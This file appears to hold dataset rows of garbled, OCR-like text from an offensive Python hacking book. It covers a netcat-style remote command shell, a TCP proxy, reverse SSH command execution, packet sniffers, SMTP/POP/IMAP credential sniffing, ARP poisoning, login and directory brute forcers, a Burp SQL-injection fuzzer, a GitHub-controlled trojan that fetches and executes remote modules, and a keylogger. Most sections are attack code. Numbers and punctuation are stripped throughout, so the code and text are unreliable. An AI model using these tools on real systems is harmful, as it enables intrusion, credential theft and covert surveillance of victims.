id
int64
0
25.6k
text
stringlengths
0
4.59k
7,100
the network is and always will be the sexiest arena for hacker an attacker can do almost anything with simple network accesssuch as scan for hostsinject packetssniff dataremotely exploit hostsand much more but if you are an attacker who has worked your way into the deepest depths of an enterprise targetyou may find you...
7,101
programmers have number of third-party tools to create networked servers and clients in pythonbut the core module for all of those tools is socket this module exposes all of the necessary pieces to quickly write tcp and udp clients and serversuse raw socketsand so forth for the purposes of breaking in or maintaining ac...
7,102
there have been countless times during penetration tests that 've needed to whip up tcp client to test for servicessend garbage datafuzzor any number of other tasks if you are working within the confines of large enterprise environmentsyou won' have the luxury of networking tools or compilersand sometimes you'll even b...
7,103
python udp client is not much different than tcp clientwe need to make only two small changes to get it to send packets in udp form import socket target_host target_port create socket object client socket socket(socket af_inetsocket sock_dgramsend some data client sendto("aaabbbccc",(target_host,target_port)receive som...
7,104
creating tcp servers in python is just as easy as creating client you might want to use your own tcp server when writing command shells or crafting proxy (both of which we'll do laterlet' start by creating standard multi-threaded tcp server crank out the code belowimport socket import threading bind_ip bind_port server...
7,105
netcat is the utility knife of networkingso it' no surprise that shrewd systems administrators remove it from their systems on more than one occasioni've run into servers that do not have netcat installed but do have python in these casesit' useful to create simple network client and server that you can use to push fil...
7,106
tryoptsargs getopt getopt(sys argv[ :],"hle: : :cu:"["help","listen","execute","target","port","command","upload"]except getopt getopterror as errprint str(errusage(for , in optsif in ("- ","--help")usage(elif in ("- ","--listen")listen true elif in ("- ""--execute")execute elif in ("- ""--commandshell")command true el...
7,107
if len(buffer)client send(bufferwhile truenow wait for data back recv_len response "while recv_lendata client recv( recv_len len(dataresponse+data if recv_len break print responsewait for more input buffer raw_input(""buffer +"\nsend it off client send(bufferexceptprint "[*exceptionexiting tear down the connection clie...
7,108
run the command and get the output back tryoutput subprocess check_output(command,stderr=subprocess stdoutshell=trueexceptoutput "failed to execute command \ \nsend the output back to the client return output by nowyou're an old hand at creating tcp servers complete with threadingso won' dive in to the server_loop func...
7,109
if commandwhile trueshow simple prompt client_socket send("now we receive until we see linefeed (enter keycmd_buffer "while "\nnot in cmd_buffercmd_buffer +client_socket recv( send back the command output response run_command(cmd_buffersend back the response client_socket send(responseour first chunk of code is respons...
7,110
now let' play around with it bit to see some output in one terminal or cmd exe shellrun our script like sojustin/bhnet py - - - now you can fire up another terminal or cmd exeand run our script in client mode remember that our script is reading from stdin and will do so until the eof (end-of-filemarker is received to s...
7,111
there are number of reasons to have tcp proxy in your tool beltboth for forwarding traffic to bounce from host to hostbut also when assessing network-based software when performing penetration tests in enterprise environmentsyou'll commonly be faced with the fact that you can' run wiresharkthat you can' load drivers to...
7,112
receive_first true elsereceive_first false now spin up our listening socket server_loop(local_host,local_port,remote_host,remote_port,receive_firstmain(most of this should look familiarwe take in some command-line arguments and then fire up server loop that listens for connections when fresh connection request comes in...
7,113
hexdump(remote_buffersend to our response handler remote_buffer response_handler(remote_buffersend the response to the local socket client_socket send(remote_bufferprint "[<==sent to localhost if no more data on either sideclose the connections if not len(local_bufferor not len(remote_buffer)client_socket close(remote_...
7,114
if not databreak buffer +data exceptpass return buffer modify any requests destined for the remote host def request_handler(buffer)perform packet modifications return buffer modify any responses destined for the local host def response_handler(buffer)perform packet modifications return buffer this is the final chunk of...
7,115
now that we have our core proxy loop and the supporting functions in placelet' test this out against an ftp server fire up the proxy with the following optionsjustinsudo /proxy py ftp target ca true we used sudo here because port is privileged port and requires administrative or root privileges in order to listen on it...
7,116
pivoting with bhnet is pretty handybut sometimes it' wise to encrypt your traffic to avoid detection common means of doing so is to tunnel the traffic using secure shell (sshbut what if your target doesn' have an ssh client (like percent of windows systems)while there are great ssh clients available for windowslike put...
7,117
so with the basics donelet' modify our script to support running commands on our windows client over ssh of coursenormally when using sshyou use an ssh client to connect to an ssh serverbut because windows doesn' include an ssh server out-of-the-boxwe need to reverse this and send commands from our ssh server to the ss...
7,118
except exceptioneprint '[-listen failedstr(esys exit( print '[+got connection!trybhsession paramiko transport(clientbhsession add_server_key(host_keyserver server(trybhsession start_server(server=serverexcept paramiko sshexceptionxprint '[-ssh negotiation failed chan bhsession accept( print '[+authenticated!print chan ...
7,119
for the demoi'll run both the server and the client on my windows machine (see figure - figure - using ssh to run commands you can see that the process starts by setting up our ssh server and then connecting from our client the client is successfully connected and we run command we don' see anything in the ssh clientbu...
7,120
ssh tunneling is amazing but can be confusing to understand and configureespecially when dealing with reverse ssh tunnel recall that our goal in all of this is to run commands that we type in an ssh client on remote ssh server when using an ssh tunnelinstead of typed commands being sent to the servernetwork traffic is ...
7,121
the paramiko demo files include file called rforward py that does exactly this it works perfectly as is so won' just reprint that filebut will point out couple of important points and run through an example of how to use it open rforward pyskip down to main()and follow along def main()optionsserverremote parse_options(...
7,122
thr threading thread(target=handlerargs=(chanremote_hostremote_port)thr setdaemon(truethr start(in paramikothere are two main communication methodstransportwhich is responsible for making and maintaining the encrypted connectionand channelwhich acts like sock for sending and receiving data over the encrypted transport ...
7,123
we will run rforward py from our windows system and configure it to be the middle man as we tunnel traffic from web server to our kali ssh server :\tmp\demos>rforward py - - : --user justin --password enter ssh passwordconnecting to ssh host : :\python \lib\site-packages\paramiko\client py: userwarningunknown ssh- sa h...
7,124
sniffing network sniffers allow you to see packets entering and exiting target machine as resultthey have many practical uses before and after exploitation in some casesyou'll be able to use wireshark (in the next neverthelessthere' an advantage to knowing how to throw together quick sniffer to view and decode network ...
7,125
the main goal of our sniffer is to perform udp-based host discovery on target network attackers want to be able to see all of the potential targets on network so that they can focus their reconnaissance and exploitation attempts we'll use known behavior of most operating systems when handling closed udp ports to determ...
7,126
accessing raw sockets in windows is slightly different than on its linux brethrenbut we want to have the flexibility to deploy the same sniffer to multiple platforms we will create our socket object and then determine which platform we are running on windows requires us to set some additional flags through socket input...
7,127
open up fresh terminal or cmd exe shell under windows and run the followingpython sniffer py in another terminal or shell windowyou can simply pick host to ping herewe'll ping nostarch comping nostarch com in your first window where you executed your snifferyou should see some garbled output that closely resembles the ...
7,128
in its current formour sniffer receives all of the ip headers along with any higher protocols such as tcpudpor icmp the information is packed into binary formand as shown aboveis quite difficult to understand we are now going to work on decoding the ip portion of packet so that we can pull useful information out such a...
7,129
import struct from ctypes import host to listen on host our ip header class ip(structure)_fields_ ("ihl"("version"("tos"("len"("id"("offset"("ttl"("protocol_num"("sum"("src"("dst"c_ubyte )c_ubyte )c_ubyte)c_ushort)c_ushort)c_ushort)c_ubyte)c_ubyte)c_ushort)c_ulong)c_ulongdef __new__(selfsocket_buffer=none)return self f...
7,130
if os name ="nt"sniffer ioctl(socket sio_rcvallsocket rcvall_offthe first step is defining python ctypes structure that will map the first bytes of the received buffer into friendly ip header as you can seeall of the fields that we identified and the preceding structure match up nicely the __new__ method of the ip clas...
7,131
let' test out our previous code to see what kind of information we are extracting from the raw packets being sent definitely recommend that you do this test from your windows machineas you will be able to see tcpudpand icmpwhich allows you to do some pretty neat testing (open up browserfor exampleif you are confined to...
7,132
now that we can fully decode the ip layer of any sniffed packetswe have to be able to decode the icmp responses that our scanner will elicit from sending udp datagrams to closed ports icmp messages can vary greatly in their contentsbut each message contains three elements that stay consistentthe typecodeand checksum fi...
7,133
if it' icmpwe want it if ip_header protocol ="icmp"calculate where our icmp packet starts offset ip_header ihl buf raw_buffer[offset:offset sizeof(icmp)create our icmp structure icmp_header icmp(bufprint "icmp -type% code% (icmp_header typeicmp_header codethis simple piece of code creates an icmp structure underneath o...
7,134
while true--snip-#print "icmp -type% code% (icmp_header typeicmp_header codenow check for the type and code if icmp_header code = and icmp_header type = make sure host is in our target subnet if ipaddress(ip_header src_addressin ipnetwork(subnet)make sure it has our magic message if raw_buffer[len(raw_buffer)-len(magic...
7,135
now let' take our scanner and run it against the local network you can use linux or windows for this as the results will be the same in my casethe ip address of the local machine was on was so set my scanner to hit / if the output is too noisy when you run your scannersimply comment out all print statements except for ...
7,136
occasionallyyou run into such well thought-outamazing python library that dedicating whole to it can' do it justice philippe biondi has created such library in the packet manipulation library scapy you just might finish this and realize that made you do lot of work in the previous two that you could have done with just...
7,137
you have already spent some time getting into the nuts and bolts of sniffing in python so let' get to know scapy' interface for sniffing packets and dissecting their contents we are going to build very simple sniffer to capture smtppop and imap credentials laterby coupling our sniffer with our address resolution protoc...
7,138
dport seq ack dataofs reserved flags window chksum urgptr options etlservicemgr [('nop'none)('nop'none)('timestamp'( ))none how incredibly easy was thatwe can see that when the first packet was received on the networkour callback function used the built-in function packet show(to display the packet contents and to diss...
7,139
here is some example output from dummy email account attempted to connect my mail client to[*server [*user jms [*server [*pass justin [*server [*user jms [*server [*pass test you can see that my mail client is attempting to log in to the server at and sending the plain text credentials over the wire this is really simp...
7,140
arp poisoning is one of the oldest yet most effective tricks in hacker' toolkit quite simplywe will convince target machine that we have become its gatewayand we will also convince the gateway that in order to reach the target machineall traffic has to go through us every computer on network maintains an arp cache that...
7,141
conf verb print "[*setting up %sinterface gateway_mac get_mac(gateway_ipif gateway_mac is noneprint "[!!!failed to get gateway mac exiting sys exit( elseprint "[*gateway % is at % (gateway_ip,gateway_mactarget_mac get_mac(target_ipif target_mac is noneprint "[!!!failed to get target mac exiting sys exit( elseprint "[*t...
7,142
os kill(os getpid()signal sigintdef get_mac(ip_address)responses,unanswered srp(ether(dst="ff:ff:ff:ff:ff:ff")/arp(pdst=ip_address)timeout= ,retry= return the mac address from response for , in responsesreturn [ethersrc return none def poison_target(gateway_ip,gateway_mac,target_ip,target_mac)poison_target arp(poison_t...
7,143
before we beginwe need to first tell our local host machine that we can forward packets along to both the gateway and the target ip address if you are on your kali vmenter the following command into your terminal#:echo /proc/sys/net/ipv /ip_forward if you are an apple fanboythen use the following commandfanboy:tmp just...
7,144
wireshark and other tools like network miner are great for interactively exploring packet capture filesbut there will be times where you want to slice and dice pcaps using python and scapy some great use cases are generating fuzzing test cases based on captured network traffic or even something as simple as replaying t...
7,145
fd close(carved_images + now attempt face detection tryresult face_detect("% /% (pictures_directory,file_name),file_nameif result is truefaces_detected + exceptpass return carved_imagesfaces_detected carved_imagesfaces_detected http_assembler(pcap_fileprint "extracted% imagescarved_images print "detected% facesfaces_de...
7,146
image_type headers['content-type'split("/")[ image http_payload[http_payload index("\ \ \ \ ")+ :if we detect compression decompress the image tryif "content-encodingin headers keys()if headers['content-encoding'="gzip"image zlib decompress(image +zlib max_wbitselif headers['content-encoding'="deflate"image zlib decomp...
7,147
if you haven' first installed the opencv librariesrun the following commands (againthank youchris fidaofrom terminal in your kali vm#:apt-get install python-opencv python-numpy python-scipy this should install all of the necessary files needed to handle facial detection on our resulting images we also need to grab the ...
7,148
analyzing web applications is absolutely critical for an attacker or penetration tester in most modern networksweb applications present the largest attack surface and so are also the most common avenue for gaining access there are number of excellent web application tools that have been written in pythonincluding afsql...
7,149
much like writing network tooling with the socket librarywhen you're creating tools to interact with web servicesyou'll use the urllib library let' take look at making very simple get request to the no starch press websiteimport urllib body urllib urlopen(print body read(this is the simplest example of how to make get ...
7,150
content management systems and blogging platforms such as joomlawordpressand drupal make starting new blog or website simpleand they're relatively common in shared hosting environment or even an enterprise network all systems have their own challenges in terms of installationconfigurationand patch managementand these c...
7,151
downloaded and extracted the web application we also create simple list of file extensions that we are not interested in fingerprinting this list can be different depending on the target application the web_paths variable is our queue object where we will store the files that we'll attempt to locate on the remote serve...
7,152
for testing purposesi installed joomla into my kali vmbut you can use any open source web application that you can quickly deploy or that you have running already when you run web_app_mapper pyyou should see output like the followingspawning thread spawning thread spawning thread spawning thread spawning thread spawnin...
7,153
the previous example assumed lot of knowledge about your target but in many cases where you're attacking custom web application or large -commerce systemyou won' be aware of all of the files accessible on the web server generallyyou'll deploy spidersuch as the one included in burp suiteto crawl the target website in or...
7,154
function we will reuse this function later in this we want some basic functionality to be available to our brute-forcing script the first is the ability to apply list of extensions to test for when making requests in some casesyou want to try not only the /admin directly for examplebut admin phpadmin incand admin html ...
7,155
up the brute-forcing threads word_queue build_wordlist(wordlist_fileextensions [php",bak",orig",inc"for in range(threads) threading thread(target=dir_bruter,args=(word_queue,extensions,) start(the code snip above is pretty straightforward and should look familiar by now we get our list of words to brute-forcecreate sim...
7,156
owasp has list of online and offline (virtual machinesisosetc vulnerable web applications that you can test your tooling against in this casethe url that is referenced in the source code points to an intentionally buggy web application hosted by acunetix the cool thing is that it shows you how effective brute-forcing w...
7,157
there may come time in your web hacking career where you need to either gain access to targetor if you're consultingyou might need to assess the password strength on an existing web system it has become more and more common for web systems to have brute-force protectionwhether captchaa simple math equationor login toke...
7,158
stored cookies test to see if we have successfully logged in to the web application you can see that we are going to be utilizing some new and valuable techniques in this script will also mention that you should never "trainyour tooling on live targetalways set up an installation of your target web application with kno...
7,159
page response read(print "trying% % (% left)(self username,brute,self password_q qsize()parse out the hidden fields parser bruteparser(parser feed(pagepost_tags parser tag_results add our username and password fields post_tags[username_fieldself username post_tags[password_fieldbrute login_data urllib urlencode(post_ta...
7,160
our handle_starttag function is called whenever tag is encountered in particularwe're looking for html input tags and our main processing occurs when we determine that we have found one we begin iterating over the attributes of the tagand if we find the name or value attributeswe associate them in the tag_results dicti...
7,161
if you don' have joomla installed into your kali vmthen you should install it now my target vm is at and am using wordlist provided by cain and abel,[ popular bruteforcing and cracking toolset have already preset the username to admin and the password to justin in the joomla installation so that can make sure it works ...
7,162
if you've ever tried hacking web applicationyou likely have used burp suite to perform spideringproxy browser trafficand carry out other attacks recent versions of burp suite include the ability to add your own toolingcalled extensionsto burp using pythonrubyor pure javayou can add panels in the burp gui and build auto...
7,163
firstdownload burp from to admit thisyou will require modern java installationwhich all operating systems either have packages or installers for the next step is to grab the jython ( python implementation written in javastandalone jar filewe'll point burp to this you can find this jar file on the no starch site along w...
7,164
7,165
at some point in your careeryou may find yourself attacking web application or web service that doesn' allow you to use traditional web application assessment tools whether working with binary protocol wrapped inside http traffic or complex json requestsit is critical that you are able to test for traditional web appli...
7,166
an iintruderattack object that can be queried to obtain details about the attack in which the payload generator will be used @return new instance of iintruderpayloadgenerator that will be used to generate payloads for the attack *iintruderpayloadgenerator createnewinstance(iintruderattack attack)the first bit of docume...
7,167
extensions that have registered an iintruderpayloadgeneratorfactory must return new instance of this interface when required as part of new intruder attack *public interface iintruderpayloadgenerator /*this method is used by burp to determine whether the payload generator is able to provide any further payloads @return...
7,168
def hasmorepayloads(self)if self num_iterations =self max_payloadsreturn false elsereturn true def getnextpayload(self,current_payload)convert into string payload "join(chr(xfor in current_payloadcall our simple mutator to fuzz the post payload self mutate_payload(payloadincrease the number of fuzzing attempts self num...
7,169
repeater random randint( , for in range(repeater)payload +original_payload[offset:offset+chunk_lengthadd the remaining bits of the payload payload +original_payload[offset:return payload this simple fuzzer is pretty self-explanatory we'll randomly pick from three mutatorsa simple sql injection test with single-quotean ...
7,170
first we have to get our extension loaded and make sure there are no errors click the extender tab in burp and then click the add button screen appears that will allow you to point burp at the fuzzer ensure that you set the same options as shown in figure - figure - setting burp to load our extension click next and bur...
7,171
you can see that our extension is loaded and that burp has identified that an intruder payload generator is registered we are now ready to leverage our extension in real attack make sure your web browser is set to use burp proxy as localhost proxy on port and let' attack the same acunetix web application from simply br...
7,172
now switch to the intruder tab and click the positions tab screen appears that shows each query parameter highlighted this is burp identifying the spots where we should be fuzzing you can try moving the payload delimiters around or selecting the entire payload to fuzz if you choosebut in our case let' leave burp to dec...
7,173
figure - using our fuzzing extension as payload generator
7,174
start attack this starts sending fuzzed requestsand you will be able to quickly go through the results when ran the fuzzeri received output as shown in figure - figure - our fuzzer running in an intruder attack as you can see from the warning on line of the responsein request we discovered what appears to be sql inject...
7,175
when you're attacking web serverit' not uncommon for that single machine to serve several web applicationssome of which you might not be aware of of courseyou want to discover these hostnames exposed on the same web server because they might give you an easier way to get shell it' not rare to find an insecure web appli...
7,176
createmenuitem functionwhich will receive an icontextmenuinvocation object that we will use to determine which http request was selected the last step is to render our menu item and have the bing_menu function handle the click event now let' add the functionality to perform the bing queryoutput the resultsand add any d...
7,177
http_request +"connectionclose\ \nhttp_request +"authorizationbasic % \ \nbase encode(":%sbing_api_keyhttp_request +"user-agentblackhat python\ \ \ \njson_body self _callbacks makehttprequest("api datamarket azure com" ,true,http_requesttostring(json_body json_body split("\ \ \ \ ", )[ tryr json loads(json_bodyif len( ...
7,178
use the same procedure we used for our fuzzing extension to get the bing search extension working when it' loadedbrowse to just issued if the extension is loaded properlyyou should see the menu option send to bing displayed as shown in figure - figure - new menu option showing our extension when you click this menu opt...
7,179
and if you click the target tab in burp and then select scopeyou will see new items automatically added to our target scope as shown in figure - the target scope limits activities such as attacksspideringand scans to only those hosts defined
7,180
7,181
many timessecurity comes down to one thinguser passwords it' sad but true making things worsewhen it comes to web applicationsespecially custom onesit' all too common to find that account lockouts aren' implemented in other instancesstrong passwords are not enforced in these casesan online password guessing session lik...
7,182
actionperformed=self wordlist_menu)return menu_list the code in this listing should be pretty familiar by now we start by importing the required modules helper tagstripper class will allow us to strip the html tags out of the http responses we process later on its handle_data function stores the page text in member var...
7,183
strips the html code from the rest of the page text we use regular expression to find all words starting with an alphabetic character followed by two or more "wordcharacters after making the final cutthe successful words are saved in lowercase to the wordlist now let' round out the script by giving it the ability to ma...
7,184
click the extender tab in burpclick the add buttonand use the same procedure we used for our previous extensions to get the wordlist extension working when you have it loadedbrowse to right-click the site in the site map pane and select spider this hostas shown in figure - figure - spidering host with burp after burp h...
7,185
now check the output tab of the extension in practicewe' save its output to filebut for demonstration purposes we display the wordlist in burpas shown in figure - you can now feed this list back into burp intruder to perform the actual password-guessing attack
7,186
we have now demonstrated small subset of the burp apiincluding being able to generate our own attack payloads as well as building extensions that interact with the burp ui during penetration test you will often come up against specific problems or automation needsand the burp extender api provides an excellent interfac...
7,187
one of the most challenging aspects of creating solid trojan framework is asynchronously controllingupdatingand receiving data from your deployed implants it' crucial to have relatively universal way to push code to your remote trojans this flexibility is required not just to control your trojans in order to perform di...
7,188
if you don' have github accountthen head over to github comsign upand create new repository called nextyou'll want to install the python github api library[ so that you can automate your interaction with your repo you can do this from the command line by doing the followingpip install github py if you haven' done so al...
7,189
in later you will do nasty business with your trojanssuch as logging keystrokes and taking screenshots but to startlet' create some simple modules that we can easily test and deploy open new file in the modules directoryname it dirlister pyand enter the following codeimport os def run(**args)print "[*in dirlister modul...
7,190
we want to be able to task our trojan with performing certain actions over period of time this means that we need way to tell it what actions to performand what modules are responsible for performing those actions using configuration file gives us that level of controland it also enables us to effectively put trojan to...
7,191
now we're going to create the main trojan that will suck down configuration options and code to run from github the first step is to build the necessary code to handle connectingauthenticatingand communicating to the github api let' start by opening new file called git_trojan py and entering the following codeimport js...
7,192
if task['module'not in sys modulesexec("import %stask['module']return config def store_module_result(data)gh,repo,branch connect_to_github(remote_path "data/% /% data(trojan_id,random randint( , )repo create_file(remote_path,"commit message",base encode(data)return these four functions represent the core interaction be...
7,193
if you've made it this far in the bookyou know that we use python' import functionality to pull in external libraries so that we can use the code contained within we want to be able to do the same thing for our trojanbut beyond thatwe also want to make sure that if we pull in dependency (such as scapy or netaddr)our tr...
7,194
config get_trojan_config(for task in configt threading thread(target=module_runner,args=(task['module'],) start(time sleep(random randint( , )time sleep(random randint( , )we first make sure to add our custom module importer before we begin the main loop of our application the first step is to grab the configuration fi...
7,195
all rightlet' take this thing for spin by running it from the command line wa if you have sensitive information in files or environment variablesremember that without private repositorythat information is going to go up to github for the whole world to see don' say didn' warn you -and of course you can use some encrypt...
7,196
windows when you deploy trojanyou want to perform few common tasksgrab keystrokestake screenshotsand execute shellcode to provide an interactive session to tools like canvas or metasploit this focuses on these tasks we'll wrap things up with some sandbox detection techniques to determine if we are running within an ant...
7,197
keylogging is one of the oldest tricks in the book and is still employed with various levels of stealth today attackers still use it because it' extremely effective at capturing sensitive information such as credentials or conversations an excellent python library named pyhook[ enables us to easily trap all keyboard ev...
7,198
process handlewe find the actual executable name of the process the final step is to grab the full text of the window' title bar using the getwindowtexta function at the end of our helper function we output all of the information in nice header so that you can clearly see which keystrokes went with which process and wi...
7,199
it' easy to test our keylogger simply run itand then start using windows normally try using your web browsercalculatoror any other applicationand view the results in your terminal the output below is going to look little offwhich is only due to the formatting in the book :\>python keylogger-hook py pid cmd exe :\window...